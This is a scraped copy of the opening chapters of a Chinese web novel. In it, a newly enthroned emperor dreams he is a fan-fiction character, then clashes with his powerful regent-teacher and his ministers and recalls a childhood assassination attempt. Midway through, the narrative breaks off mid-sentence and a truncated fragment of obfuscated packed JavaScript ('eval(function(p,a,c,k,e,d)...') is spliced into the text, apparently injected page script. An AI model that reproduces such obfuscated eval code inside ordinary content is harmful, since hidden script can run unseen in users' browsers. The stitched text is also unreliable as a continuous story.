《朕,真不是断袖》 1. 惊梦 寅时一刻,宫内。 靠着朱红廊柱昏昏欲睡的小太监被人推了推胳膊,揉着眼睛醒来时,看见站在自己面前的是御前掌灯的大宫女,蝉衣。 “蝉衣姐姐。”小太监动了动酸痛的腿,小声问:“怎么了?” 宫女蝉衣蹙着眉,往紧闭着的殿门处瞧了瞧,轻轻道: “我刚刚走过,听闻殿中似有器皿坠地之声,你有没有听到圣上唤你?” “这……”小太监紧张起来,他方才神志不清,哪有注意到殿内有没有人说话,只能含糊道: “也许有吧?好端端的,里头也不会摔东西呀……是圣上起夜,不小心碰到了吗?” 蝉衣扫了他一眼,低声斥道:“等天明了再收拾你。” 小太监缩了缩脖子,见她弯腰从地上提了一盏小巧的花梨宫灯,轻手轻脚地推开殿门,闪身进去查看了。 寝殿并不算十分大——当今圣上刚刚即位,大殷境内忧患重重,因此在圣上登基第一日,便下发旨意,要求宫内上下以节俭为主,自己率先搬进了金銮殿旁边面积不大的偏殿起居,没有再单独设寝殿,以示决心。 蝉衣提着小宫灯,熟练绕开殿内的摆设,一路行至龙榻近处,步伐略微一顿。 “圣上。” 蝉衣将灯放在一旁,小心跪下,并问:“您怎么醒了?” 床帐内的人影合衣曲腿坐起,一手支额,清瘦脊背微微弓着,如墨的长发披散在身后,在四角夜明珠的映照下,隔着床帐看不清面容,只觉露出的一小截手腕如玉似雪,比之夜明珠更为夺人心神。 见榻上的人不说话,蝉衣又小声问:“圣上?” 床帐内终于有了动静,似是“嗯”了一声,沉寂片刻后,终于有微哑的嗓音响起: “替我倒杯冷茶来。” 蝉衣点亮了榻边的两支烛台,又转身去倒了一杯清茶,末了,她想了想,还是加了些暖壶内的水,让这茶不至于太过凉口。 而后,她跪坐在距离榻边三尺处,伸手将茶盏递过去。 帐内的人影又动了动,随手撩开垂落的重重薄纱,接过了蝉衣手里的茶。 递茶时,蝉衣眼尖地看见,那白皙而修长的手上有细细微光一闪而过,似乎连指尖都在不易察觉地发颤。 蝉衣愣了一下,才反应过来——圣上的手……都是冷汗。 她下意识想开口问,但忽然想起什么,立即止了话语,只道:“圣上,殿内可要点上安神香?” 谢桐一场大梦归来,心神俱疲,连茶水喝进腹里,也没能立即压下梦里那阵惊惶无措,只想独自静一静,于是疲倦地摆摆手: “不用,别跪在这儿了,出去吧。” 等蝉衣接了茶盏退出去后,谢桐深深吸了一口气,再次抬眼看了看四周,终于真切地感受到——回来了。 从那些荒唐至极、混乱不堪的梦境里,回来了。 昨日是他的登基首日,一天的仪式下来,谢桐感到有些累,于是早早沐浴完毕,到偏殿就寝。 原以为在陌生的地方,会难以入睡,不想这一觉睡得非常沉,甚至还做了数个梦。 梦里,谢桐瞧见不少穿着奇装异服的人,还有一块块会自发光的长块扁状石头。 石头上竟然还会浮现文字,文字密密麻麻,字形简陋,但更奇特的是,谢桐还看得懂。 他在石头上看见了自己的名字。 那些文字记载了谢桐的生平,甚至还未卜先知,写了谢桐登基之后的故事。 谢桐沉在梦里度过了无数个日夜,也逐渐明白究竟发生了什么。 这是一个未知的时代,而他,谢桐,是这个时代中被创造出来的一本书中的人物,就和翰林院修编的那些史书一样。 他还找到了这本书的名字,叫《万古帝尊》。 谢桐在这本书中是“主角”,以天下为己任,勤政亲民,扫外敌清内奸,平水患解疫症,揽英才练亲兵,斩了朝廷内阿谀奉承敛财怠政的小人,除了处处与他作对的佞臣,终于在千万字结局时一统东西南北,成就千秋大业。 作为《万古帝尊》的主角,谢桐“人气”很高,有不少读者喜欢他,不仅给他画像,还会自己写所谓的“同人文”。 同人文里,谢桐还是那个谢桐,但他所经历的一切,都和《万古帝尊》不一样了。 想起那些同人文……谢桐脸色变得更差。 以他二十年来所接受的教导,实在不愿意回忆那些文里面的内容。 文里面……竟然胡乱给他配夫人,甚至还有给他配夫君的,不仅如此,还有些同人文里给他配了很多个夫君,并且、并且—— 他竟然还被写成是屈居人下,被不同的男人轻怜密爱! 更过分的,剥了他帝王的身份,写他被奸人所害,无依无靠地流落民间,而后被某人发现带回去,当了小妾; 抑或是写他堕入秦楼楚馆,每日“含着泪”地接客,客人还是当初朝廷上最为熟悉的臣子。 写作的人,把谢桐和另一个或者另几个男人,称为“CP”。 这些荒唐的同人文里,谢桐要么失去身份依仗被一虐再虐,要么即使与某人结为夫妻,也是整日沉湎于交huan,完全将政事抛之于脑后。 甚至还有当着上朝的群臣们的面,在龙椅前方设珠帘,而后在龙椅上颠鸾倒凤不知天地为何物的描写。 被迫看了那么多篇同人文,谢桐发现自己几乎就没有能穿上过亵裤的时候。 他想从这场混乱的梦境中挣扎出来,但无论如何努力,谢桐始终无法清醒,只得继续观看那些没有道德底线的文章。 而梦醒的前一刻,谢桐刚刚发现一篇“人气”也很高的同人文。 他在其中有非常非常多的“CP”,上至朝堂大臣,下至市井脚夫,都能与他产生一段情,都能与他……翻云覆雨,“同享巫山极乐”。 谢桐大怒,决心要揪出这篇文的作者,将他杀头! 没想到还没等他实施行动,梦境中光怪陆离的景象突然扭曲消失,谢桐在榻上睁开眼,发现身上雪白的里衣已然被冷汗浸湿。 谢桐久久坐在寝榻上,思考这场梦的预示。 之所以认为有预示,而非是单纯的噩梦,是因为梦境中所有文章里的人名、地名都是真实存在的,就如丞相简如是,刑部侍郎齐净远等等…… 一想起这两个名字,谢桐条件反射地回忆起同人文里有关这两个人的片段,立即感到十分头疼,不愿再细细思索了。 但不管如何,若是纯粹的噩梦,应该不会如此真实,况且……谢桐心里总不安。 抛去那些离经叛道的描写而言,谢桐真正担心的,却是自己会像同人文里写得那样——沉湎情爱,对朝政不闻不问,依旧留百姓在水深火热和外敌征伐中挣扎,成为一个不折不扣的昏君。 而他绝不会允许这样的事情发生。 * 谢桐在寝床上一直坐到天色微晞,很快有小太监轻叩殿门,提醒他起身洗漱,再有半个时辰,就是他登基后的首日上朝。 谢桐一整夜没怎么睡好,精神比之昨日还要疲累,但还是起了身,由着尚衣太监为他穿上明黄龙袍。 玉冠上十二冕旒垂下,细小的淡青色珠玉遮挡住面容。朝服宽大,却依旧难掩其人风姿独绝,即便是显黑的明黄色,由谢桐穿来仍是如玉镶金,比艳艳日光更为夺目耀眼。 最后腰间的赤红龙章玉带,是由宫女蝉衣亲手为他系上的。 蝉衣捧着玉带款步上前,先是一礼,而后微微向前俯身,纤手将玉带绕过谢桐窄瘦的腰身。 系好带扣的那一刻,蝉衣无意识地抬头,看了一眼谢桐。 这一眼让她意外,今晨是首日上朝,如此盛大的时刻,圣上却像是心事重重,鸦羽般的长睫垂着,眉目间总有一股挥之不去的淡淡忧愁。 蝉衣下意识想了想究竟是什么事能让新帝如此心忧,还出声问了句:“圣上,您昨夜是没有休息好么?” 谢桐微摇了摇头,发上的冕珠随着动作晃动。 “无事。”他淡淡道。 蝉衣怔了一下,随即察觉到身周的宫人都在看着她,立即神色一凛,匆匆退后了几步,屏息凝神地立至旁边。 刚刚她一时忘形,竟…… 蝉衣藏在宽袖底下的手悄悄攥紧了,视线在寝殿内扫了一圈,暗道就那么一会儿,应该不至于…… 服侍谢桐洗漱穿衣完毕后,众人跪送他离殿。 蝉衣在地上跪了片刻,见谢桐离开后,各人陆陆续续起身出了殿,不禁松了口气。 不料还没等她这口气彻底松出去,蝉衣的面前忽然从天而降一个黑影,精准地落至她身前三尺处。 蝉衣惊吓地睁大眼,看着这个一身黑衣、样貌俊秀的年轻男人。 “方才你问了不该问的话。” 年轻男人冷冰冰出声道。 蝉衣原本正要起身,闻言立即再次跪下,低声道:“是蝉衣举止无状,请关首领责罚。” 关蒙不说话,沉默着看她。 蝉衣还是第一次犯这样的错,心里忐忑不安,更不敢贸贸然抬头去看这位年轻暗卫首领的脸色。 关蒙是自圣上十岁时就一直守护在銮驾周围的暗卫,十年过去,即便已经成了暗卫首领,关蒙还是那副沉默寡言、不近人情的样子。 除了圣上,蝉衣甚至没见过他和哪个人说过两句多余的话。 这样静窒的气氛维持了一会儿,蝉衣率先坚持不住,伏地道: “蝉衣罪该万死,愿受任何责罚,请……闻公宽恕蝉衣今日无状。万般罪责由我一人承担,请不要为难蝉衣的家人。” 关蒙淡淡看了她片刻,终于开了口:“昨夜你给圣上的茶里添了点温水。” 蝉衣怔了一下,迟疑着道:“……是。” “起来吧。”关蒙语气依旧是冷冷的:“念在你昨夜举动,今日之事,我会当作没看见。” 蝉衣不敢置信地抬起头,神色怔忪。 关蒙却不再理会她,只抛下一句“闻太傅那边,你知道如何应对”,就前行几步,跃上殿内屋梁,消失不见了。 蝉衣逃过一劫,跪坐在地上心绪纷乱。 许久后,她终于能缓缓舒出那一口没能吐出来的气。 * 谢桐被掌事太监指引着到乾坤殿的时候,殿内外已经列队有序站满了乌泱泱的臣子。 今日是新帝首次上朝,朝廷上下包括京城内的九品芝麻小官都进了宫,来进行朝拜。 谢桐暂且撇开昨夜的思绪,几步登上御台,目光平淡地在那张紫檀木龙椅上扫过,随即大袖一挥,转身落座。 “圣上万岁。” 等诸臣行礼平身后,谢桐若有所思地看了一眼左下方。 “那边为何放置一张空的圈椅?”他微微偏过脸,问旁边的掌事太监。 掌事太监姓罗,今年已经四十有余,鬓染斑白脊背弓起,精神却烁朗,闻言压低了声音和谢桐解释: “回圣上,那是给太傅留的椅子。” 罗太监又道:“闻太傅今日偶感风寒,身体不适,故未能上朝。他已让人带了话来,说下朝之后,在御书房亲自面见圣上,以表谢罪。” 谢桐垂下睫,很轻地笑了一声:“是吗?” “老师身体不适,怎好再劳累他四处走动。” 谢桐重新将视线投向前方,看着底下低头屏息的臣子,冷声说: “劳烦罗公公替朕再传一句话,请太傅今日先回府养病,改日朕得空,再 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一场早朝下来,谢桐恍觉自己坐拥的是一个太平盛世。 唯一不够和谐的,不过是众臣前排那张空荡荡的圈椅。 谢桐的视线第无数次掠过那张椅子,心想,在自己登基之前,这把太师椅应该是放在龙椅左手边的。 过往七年,闻端平日里就坐在龙椅旁边的位置上,听朝臣们上前禀奏。 先帝昏庸无能,身体也不争气,在谢桐十三岁那年,先帝在后宫召嫔妃侍寝时口吐鲜血,随后一病不起。 先帝缠绵病榻数年间,都是由名义上的太子谢桐监国,实际上则是闻端把持朝政。 监国那么多年,谢桐一次也没有亲自上过朝。 而如今成为天子了,上的这个早朝,也和没有上似乎无任何区别。 “众卿没有其他事要奏了吗?” 谢桐忽然打断一个臣子滔滔不绝的赞美恭贺之词,微微坐直了腰身,懒洋洋道:“如果都是这样的废话,可以不用再说了。” 刚刚还口若悬河的那个臣子尴尬低头,悄悄退下去了。 罗太监等了一会儿,见无人上前,于是对谢桐道:“圣上,既然今日无事,那便可退——” “无事?”谢桐蓦地冷笑了一声。 “东南沿海数城水患,京郊西南有不明缘由的疫病兴起,匈奴大军频繁骚扰我朝北境……” 十二冕旒轻轻晃动,珠玉遮挡下,谢桐的目色锐利至极,一一扫过座下神色各异的朝臣。 “如果这也叫无事,那是否大殷亡国之日,众爱卿才肯张开贵口,说一说这些需要解决的问题呢?” * 下朝后,谢桐到后殿换了一身轻便的常服,听着罗太监在旁边弓着背,小心道:“圣上,御辇已备好,可以出发去御书房了。” 谢桐让梳头宫女将他的头发高高束起,闻言不以为意地摆手:“不用,朕自己走过去便是。” 罗太监本来要劝,突然又想起刚刚殿上发生的事情,于是十分自动自觉地闭嘴了。 还是保自己的小命为好。 御书房离乾坤殿不算远,步行约一盏茶功夫就到了。 谢桐没让任何人跟着——他习惯独来独往,并不喜欢兴师动众的排场。 在谢桐还是太子时,御书房算是个常来的地方。闻端会在书房里与他讲些帝王纵横之术,偶尔也会提一点朝廷上的政事。 但当时毕竟身份不同,先帝把谢桐和朝政大权托付给闻端,万事以闻端的意见为准,他自然可以坐在御书房里等谢桐过来。 而如今他已登基,闻端再在御书房里等候,就是于礼不合了。 谢桐走上御书房前的台阶,抬手止住了门外小太监的出声传话,略顿了一顿,神色平静地推门而入。 不出他所料,那个男人正坐在书案后,垂着眼,慢慢翻阅着案上成堆的奏折。 谢桐的眸中微起波澜。 当年在接过带着太子监国的重任时,闻端甚至也未及弱冠。 闻端是个奇才,出身白衣,十五岁连中三元,进入朝廷为官,十八岁时成为谢桐的太傅,十九岁先帝病倒,开始掌朝政大权。 闻端中状元那年,谢桐虽然年岁尚小,也还记得当年状元郎游花街时的盛况。 大殷朝从未出过这样年轻的状元,还如此的——面如冠玉,风度翩翩,气度不凡。 “老师。” 谢桐在距离书案前几步站定,看着闻端那深邃而清晰的五官轮廓,并未像往常一样对他行礼,而是道: “朕方才下朝,听闻老师有要事商讨?” 闻端将一本奏折合上,放在手边,随后抬起头。 他长相原本俊朗端正,眉如利剑斜飞入鬓,贵气逼人。 只是掌权多年,那双墨眸愈发寒如深潭,上位者的威压一日胜过一日,看人时常无任何情绪波动,冷冽至极,即使是谢桐,也不太习惯与他长久对视。 但今天不同。 谢桐不躲不闪,直直与闻端撞上了视线。 “老师若是有事,可提前差人过来传话,朕寻个清净的地方接待便是。” 谢桐很轻地吸了一口气,在闻端的注视下,平静说:“如今日这般贸然前来,朕不一定得空能见老师。” 听了他的话,闻端没有什么表情变化,而是用目光细细将谢桐从头至尾打量了一遍。 “……宫人来报,说你昨夜没有睡好。” 闻端终于开口,却是一句谢桐始料未及的问话: “上朝前有无请太医看过,是寝殿安置不妥,还是饮食照料不当,才致使你夜里难以安眠?” 2. 对峙 在成为太子之前,谢桐曾是排行第三的皇子。 先帝虽然好色昏庸,然子嗣并不算多,直至驾崩之时,只共有过三个皇子、两个公主。 谢桐就是排行最小的那个皇子,头上有两个皇兄,一位皇姐,大皇兄与他年纪相差二十岁有余。 太子之位空悬多年,不过在谢桐还小时,朝廷上下公认先帝最为属意大皇子,毕竟平日先帝荒废朝政,都是由大皇子协助众臣处理各项政事。 大皇子才能平庸,性格也颇为古板无趣。但谢桐还是几岁的幼童时,记得这位皇兄曾带着他出宫玩过。 只可惜,这江山被先帝糟蹋了数十年,早已满目疮痍,大皇子遇事优柔寡断,在一次致命的决策判断失误后,先帝龙颜大怒,将这个“废物”儿子发配去了西南,封了个安昌王了事。 此后,安昌王只在先帝驾崩时回京过一趟,其他时候都龟缩在他的西南,全然不敢触新掌权的闻端霉头。 至于谢桐那野心勃勃的二皇兄,在谢桐成为太子的当年,就被以叛乱罪斩了头,还是闻端亲自代笔写的朱批。 比谢桐大几岁的皇姐早已择婿,出宫另外建府,常年居住江南; 今年尚只有十六岁的皇妹,则钟情于游山玩水,一年到头也见不到几次人影。 谢桐如今在宫内,是真正的孤家寡人。 孤家寡人当久了,谢桐万万没有料到,闻端竟然会开口问他昨夜为什么没有睡好。 谢桐:“……” 闻端不提这事还好,一提起来,谢桐不可避免地回想起昨夜那场混乱荒唐的梦境。 梦中的文字里,他有了很多莫名其妙的“CP”,还不停地被CP另一方…… 谢桐垂在袍袖底下的手攥了攥,逼迫自己从愤怒中清醒过来,尽量表现得毫无异样:“无事。” “朝政事多,朕夜半多思而已。”谢桐道:“算不得什么大事。” 闻端沉默了一会儿,也不知道是信了还是没信,倒是起身离开了书案后,踱步而出。 “听闻你在朝上训斥了几个办事不力的臣子。” 闻端顿了顿,淡淡道:“是发生了什么事情?” 谢桐觉得闻端肯定已经知道发生了什么,朝上朝下,到处不都是他的眼线? 连自己夜半惊醒也能第一时间得知,谢桐有点想冷笑,那些殿内侍奉的宫女、藏身在暗处的关蒙等侍卫,全都是闻端的眼线吧? 当初还是太子时,谢桐对这一切尚且能忍耐,但如今当了天子,忽然间就不想忍了。 “老师难道不知道发生了什么吗?” 谢桐蓦地开口,看也不看闻端的脸,径直往书案走去,草草扫了一眼案上的折子,随手挑了一本来看。 不出所料,上面尽是些阿谀奉承的废话。 递到他谢桐面前来的折子,怎么会有真实的内容? 怕是朝臣们回府后,才将那本真正的“奏折”,派人悄悄递到闻端府里去,等闻端批示吧。 “南边水患严重,今日朝上,工部却瞒而不报,朕治了工部尚书的罪。” 谢桐拎着那本折子,回身狠狠一甩,把金红为底的奏折摔在地上。 御书房的地面铺了狐狸毛制成的软毯,奏折砸在上面,却依旧被摔得四分五裂,有一半甚至直接飞到了闻端脚下,啪地撞上男人垂落的袍角。 因为没有上朝,闻端只着了一件简单的素白圆领袍,外罩黑色大氅,整个人看上去气质冷冽。 谢桐摔的那本奏折,险些将闻端长袍一角砸烂,足见用的力气之大。 “朕在朝上一而再、再而三地问是否有事要奏,底下却皆是一群只会阿谀奉承的饭桶,就和这递上来的折子一般,全是废话。” 谢桐微微仰起下巴,与较他高了半个头的闻端对视,目光锐利,丝毫不逞让: “太傅打理朝政多年,这些蠢材却满堂都是。闻太傅你说,朕究竟该治谁的罪呢?” 一室寂静。 片刻后,闻端垂了下眼,动作极其缓慢地俯身,将地上那本支离破碎的半本奏折捡了起来,拿在手里。 “是臣之过。”他缓缓开口道:“圣上息怒。” 自从谢桐踏进这间御书房以来,这是第一次听到闻端唤他圣上。 “水患一事,工部尚书刘黔在五日前曾禀过,臣已派治水能臣赶赴东南,不日便可抵达。” 闻端将那半本折子拿在手中,轻轻敲了几敲,不紧不慢陈述: “圣上首日上朝,刘尚书或许以为此事已有解法,不必再向圣上禀报。请圣上看在他连日为水患操劳的份上,免了对他罚俸三月的处置。” 果然,闻端根本就知晓朝上发生了什么。 即使他不在朝上,也有大把的耳目向他传递消息。而现在这句话,是要谢桐收回谕旨,不再处罚他闻端的党羽。 谢桐攥着的拳更紧,语调也更冷:“朕如今是天子,天子一言九鼎,岂有收回成命的道理?” “还是说,太傅认为自己的话比朕更管用?” “臣并无此意。” 闻端没有一点慌乱,依旧是那副万事掌控于心的神态:“只是圣上初登基,根基未稳,便已因如此小事责罚数个臣子,难免招人妄议。” 谢桐咬了咬牙。 他当然知道现在动手操之过急,原本谢桐并不是不够沉稳的人——只因昨夜的那个梦。 梦里,谢桐通过那些文字描写,清晰地看见自己失去权柄之后的景象,他沦为玩物,抛却来之不易的江山,成为一头只知情.爱的淫兽。 登基首日便有如此离奇梦境,谢桐不免认为,这是上天在警醒自己。 他闭了闭眼,明知得罪闻端后果难以预料,却必须寸步不让,否则一日退让,以后就是日日退让,他已经退了这么多年,不能再—— 谢桐开口说:“朕……” 闻端却忽然同时出声:“圣上临朝,刘黔等人确实应该将近日要事再禀报一遍,圣上若是执意要罚,臣等遵旨便是。” “只是圣上亲理政事不久,此时不应在明面上结怨。” 闻端说:“臣方才在案前替圣上拟好了处罚的旨意,圣上若觉得没问题,在末尾处加盖玉玺印,再令人取走就行了。” 谢桐怔了怔,一时间不知他是何意。 闻端的眸子是纯粹的墨黑,一点杂色也没有,更难在其中探寻显露出的情绪。 在谢桐不解地看向他时,闻端低下眼,神情不变,微微对谢桐一礼,而后道:“臣告退。” “圣上若是住寝殿不惯,难以入眠,可回臣的府邸休息。” 临出门前,闻端突然又嗓音淡淡道:“圣上还是太子时的居所,臣给您留着。” 谢桐立在原地,沉默了一会儿,才拒绝道:“朕如今已有寝宫,不劳烦老师了。” 闻端离开后,谢桐踱步到御案后,果然瞧见右手边整整齐齐放着三卷明黄的圣旨卷轴。 一一打开后,谢桐蹙了下眉。 闻端确实已经帮他拟好了旨意,字字句句都和谢桐朝上所言的一致,并没有私自给工部尚书刘黔等人减免处罚。 这是什么意思? 谢桐手指抚着明黄卷轴,感到十分困惑。 闻端的亲笔字如其人,字字铁画银钩,如龙蛇飞动,气势透过纸背扑面而来,非常具有辨识度。 若是刘黔等人领了这圣旨,自然能得知是闻端亲笔写就…… 思及此,谢桐抚着圣旨的指尖一顿。 那这责罚的旨意,就不仅是自己的意思,甚至也是闻端默许的。 这封圣旨到了工部尚书等人手里,他们就会知道,闻端是同意自己今天早上当众下的旨意的。 这样的话,刘黔等人即便有怨,也不敢再寻由头发作。 谢桐轻轻舒了一口气,但很快又拧起眉心。 闻端早就知道自己会坚持己见,又何必在刚刚说那么一些似是而非的话? 谢桐捏着圣旨,十分恼怒地心想,或许是看自己新帝登基,春风得意,故意过来给人添点不痛快…… 下一刻,御书房外,罗太监尖着嗓子传话:“圣上,简相、林将军求见。” * 闻端坐着轿回府。 朝廷上下,只有闻端有乘轿出入宫内外的权利,这是闻端掌权时的老规矩,谢桐登基后,似乎是忘了收回这项特权。 轿夫脚力沉稳,轿辇几乎不见晃动,闻端神色散漫倚在其中,半晌后,从袖中取出了一样东西。 ——那半封被谢桐狠狠砸到他脚下的奏折。 闻端把这半个折子捡了起来,出门时没还回去,谢桐竟也没发现。 折子是个五品官员递的,满纸阿谀奉承,看了实在令人讨厌,也难怪谢桐发那么大火。 闻端修长的手指漫不经心抚过那折子参差不齐的断处,指腹有细细的刺挠感,就和刚刚御书房里那个眸色明亮,咬牙忍耐的人一样,长着满身的刺。 “真是长大了……” 微不可闻轻喃出声,闻端抚摸着那折子的断裂面,暗叹一口气,很无奈地勾了一下唇角:“……还挺凶。” “官爷。”听见轿中闻端唤人,一个暗卫飞身而下,紧贴着轿子的木窗,隔着帘问话:“什么事?” 帘后递出来半封被摔烂的折子,闻端的声音听不出情绪,只用那骨节分明的手指轻叩了叩折面: “这折子的主人似乎很喜欢写些奉承话,那便让他明日闭门在家,亲笔写出百封哄圣上高兴的折子来,每封用句不能相同,明日戌时,先送到我府上过过目。” 暗卫面不改色地接过折子,低声应道:“是。” * 谢桐坐在御案后看了几本奏折。 闻端早上在这里坐了那么一会儿,许是闲得无聊,还把案上的折子给分了类。 左手边最远处的那堆是没什么实际意义的请安折子,右手边的寥寥数本则是稍微提了点正经事的。 而正前方整理出来的几本,则来自丞相简如是、刑部侍郎齐净远等人。 折子里的内容看似平常,实则细读下来颇有见解,谢桐看完这几封奏折,正好罗太监领着人进来御书房。 “圣上,简相和林将军到了。” 谢桐合上奏折,喝了口热茶,随意道:“坐吧。” 等罗太监出去后,谢桐才打量了一下面前坐着的两个人。 这一瞧不要紧,见到简如是和林戎的脸,谢桐立马又想起那个该死的梦境。 ——梦里的数个同人文里,简如是、林戎等几个人都是他的常驻“CP”,什么文里都能出来露个脸。 简如是作为大殷的右丞相,年纪非常轻,今年不过二十五有余,担任丞相一职也不足两年,平日里负责协理朝政大小琐事,一些小的事情,他甚至可以直接自己下令处理。 而左丞相的位置空悬,谢桐一直觉得,那是闻端留给自己的位子。 “还未贺过圣上登基之喜,今日补上,请圣上不要怪罪。” 简如是开了口,他有一双温柔含情的柳叶眸,说话时嗓音温和,听起来令人如沐春风。 朝廷上下对简如是这个右相的评价都不错。 谢桐以前也觉得简如是待人处事都很好,但今日听见他开口说话,看见那双望过来的眼眸,谢桐就控制不住地回忆起那些CP文的描写。 “简如是床上床下有着两幅面孔……” “简相对新帝早心生情意,苦苦压抑多年后,那浓郁的情感甚至悄然发生了变质……” “简如是喜欢亲吻谢桐的眼泪,他疯狂地迷恋着那个人的一切……” 见谢桐坐在书案后一动不动,简如是蹙了下眉,神色有几分困惑,再次出声:“圣上?” 谢桐:“………………” “圣上可是身体不适?”简如是起身,往前走了两步,关切地问:“臣见您脸色不佳,是否需要请太医过来?” “……不用。”谢桐咳了一声,垂下眼道:“朕无事,你坐着吧……别走过来了。” 简如是的动作一顿,轻颔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林戎这样一心征战沙场,不足三十就已经官拜镇威大将军,洁身自好从未有过任何谣言的人,怎么会喜欢男人? 那些胡乱编造文字、污人清白的写作者,真该被押去杀头。 “林将军好不容易回京城一趟,听说过几天就要回北境了?” 谢桐想着自己已经是天子,除了关心朝政,还得抽空关心一下臣子,于是随意挑了个话题,对林戎道。 林戎:“是,三日后走。” 谢桐点点头,又试探性地问:“林将军年纪也不小了吧?先前回京城,父皇在病中没能考虑到将军的终身大事。如今朕登基,将军若是有意中人,也可以提出来让朕赐婚。” “边关寒苦,”谢桐道:“将军独身一人,总是难以顾全自己。” “……”林戎说:“臣无意此事。” 谢桐总觉得他这话和梦里的某本同人文有相似之处,脸上的笑容微微敛起,咳了一声,继续劝道: “朕知将军心系边境百姓,但儿女姻缘毕竟也是大事。将军如果目前没有喜欢的,朕也可以命人将各名家淑女的画册送上来,将军若有中意的,可以相约着见一见……” 林戎闭嘴不说话了,一副欲言又止最后皱眉的模样,良久后,还是放弃了说话,只直直盯着谢桐看。 谢桐:“……?” 林戎征战沙场十年有余,身上沉淀了浓重的杀戮血腥之气,这样牢牢盯着一个人看的时候,让人恍觉自己已经成为他刀下的猎物。 谢桐被林戎盯着看久了,也不适起来,反问:“将军看着朕作甚?” 林戎终于移开目光,淡淡道:“不劳圣上费心,臣的婚事,臣自己会处理。” 朝廷上下,敢这样和皇帝说话的,估计也就林戎一个。 谢桐却没在意他的语气冒犯,还对刚才林戎那直勾勾的视线感到万分不适。 下一刻,谢桐偏了下脸,竟然发现丞相简如是也在看着他,黑眸平静,含着点说不清道不明的情绪。 “……”谢桐的头痛了起来,忍不住开口:“如果无事的话,两位爱卿请出去吧。” 再待下去,谢桐都要怀疑自己依旧待在梦里,才会在简如是和林戎脸上看见那么……令人遐想的神情。 让两人离开后,谢桐长叹一口气,把自己那点多余的思虑撇开,食指中指曲起,在书案上敲了三下。 听见谢桐的讯号,暗卫关蒙飞身而下,半跪在地上行礼:“圣上。” 谢桐揉揉眉心,语气疲倦道:“你刚刚听见了什么?” 关蒙沉默片刻,如实陈述:“圣上与简相、林将军两人交谈。” 谢桐放下揉眉心的手,垂眸看着一身黑衣的青年,语气淡淡:“今日朕与简相和林将军的谈话,你不能转述给闻端。” 关蒙没有答话。 “朕不是在征询你的意见,” 谢桐的嗓音变冷:“朕是在命令你。如果你做不到,朕迟早会换了你这个暗卫首领,让一个会听朕话的人来当。” 关蒙低着头,看不清表情,平平道:“简相、林将军进了御书房,此事多人目睹,无法隐瞒。” 谢桐摸着桌上的茶杯,漫不经心说:“那还不简单?就说朕与他二人聊了些无关痛痒的闲话,想给林将军赐婚不成就行了。” 关蒙依旧固执地低着头。 “——关首领。” 谢桐的脸色彻底冷了下去,手一抬,就甩袖将桌上那白瓷茶盏扫了出去,直直砸到了地面上,碧绿的茶水迸了出来。 “你曾是朕身边最亲近的亲人。”谢桐狠下心,硬声道:“但如今,朕看你这副样子,真是无比寒心。” 关蒙原本没什么反应,听见最后几个字,却霍然抬起头,死死盯住谢桐的脸。 “滚出去。” 谢桐居高临下地站在御案后,开口命令。 关蒙却不走,还是盯着他。 谢桐这下是真实恼了,暗骂几声,今日这一个个的,全都用这种意味不明的眼神盯着他看做什么??? 难不成是真的没从梦里醒来吗?! 3. 荒唐 谢桐十岁那年,关蒙被送到他身边,作为一个普通的暗卫。 皇室中人对于安全的考量总是很多,先帝不仅有明面上的御林军,还有训练有素的三支暗卫,轮番守护,密不透风得连一只苍蝇都飞不进来。 而谢桐身为皇子,本来早该有自己的暗卫,只是他母妃早死,家族又势小,常被先帝忽视,还是被当年的礼部侍郎闻端提醒,才派了一个暗卫给谢桐。 关蒙与谢桐同岁,小小年纪便已经沉稳过人,武艺也早早展露出色的天赋,当年关蒙到来,谢桐还是很高兴的。 原因无他,有一个亲近的同龄人可以一起玩耍,就对十岁的谢桐来说弥足珍贵了。 只是关蒙性格沉闷,还有点呆头呆脑的,除了练武对其他玩乐活动一窍不通,谢桐想玩,还得先教他。 “我是暗卫。” 彼时只有十岁的关蒙固执道:“我应该藏身在暗处,才能保护你的安全。” “我不需要保护。”谢桐抓着他的手,不让人走:“宫外都不知道有我这个皇子,能有什么人来刺杀我?” 谢桐这大话放得太早,关蒙来到他身边不过几个月,两人就遭遇了第一次刺杀。 那一天谢桐正拉着关蒙在一处假山里玩老鼠钻洞的游戏,轮到关蒙闭着眼抓他,谢桐蹭蹭爬到假山最顶上,还没往下看两眼,就突然感到屁股上被人狠狠踹了一脚。 十岁的谢桐从数米高的假山顶上摔了下来,角度偏了一些,没掉进旁边深不可测的池塘里,而是头朝下摔在了地上,磕破了额角。 满脸是血的谢桐被关蒙背着送回殿里,吓坏了服侍的宫女太监。 当晚,谢桐坐在榻上,听着关蒙跪在殿外挨板子的声音,无声无息地掉眼泪。 他最后还是给关蒙报了仇。 谢桐去求先帝身边的近身太监罗公公,让他把当天在那个花园附近巡值的侍卫和太监名册给自己看。 又根据踹自己那一脚的力度、高度,推测出刺客身高应在五尺上下,下盘扎实,大概率是个侍卫。 并且在摔落之前,谢桐挣扎着往后挠了一把,扯下来刺客的衣袍一角。 谢桐拿着那块深蓝色的普通布料,又去了尚衣局,请绣娘们根据上面织就的针法、布料的新旧,找出是哪一批次哪一位绣娘的作品,并看了那批衣布送往各宫的记录。 紧接着,谢桐又央求罗公公,让他对先帝说,花园内肯定留下了刺客的鞋印。 宫内派发的鞋子底部均有尺码、批次、所属宫殿等字样,若是印在了泥上,再结合先前的巡值名册、衣袍布料等信息,基本可以确定刺客的身份了。 罗公公却不肯:“三殿下,那花园里杂草丛生,就算是留下脚印,也万万不可能看清楚鞋底的字样。” “不需要看清楚。”谢桐拽着罗太监的衣角不让他走,哀求道:“公公,你只要让父皇吩咐下去,遣人有空过去花园找就行了。” 罗公公稀奇地看了他几眼,若有所思,点点头:“行,那奴才依殿下所言,在圣上面前提上几句便是。” 得到罗太监的应允后,谢桐回到自己居住的宫殿,带着伤势初愈的关蒙,蹲守在那日的花园里,蹲了整整两日。 困了就轮番入睡,渴了就喝点随身携带的水,饿了吃点殿内拿来的点心。 谢桐耐心守了两天,终于在第二天深夜,等到一个鬼鬼祟祟的身影。 不出所料,刺客果然会回来花园里,抹除他留下的“会暴露身份的”脚印。 谢桐让关蒙上去喷那人辣椒水,同时大喊大叫,把附近的侍卫们都引了过来,将刺客抓获。 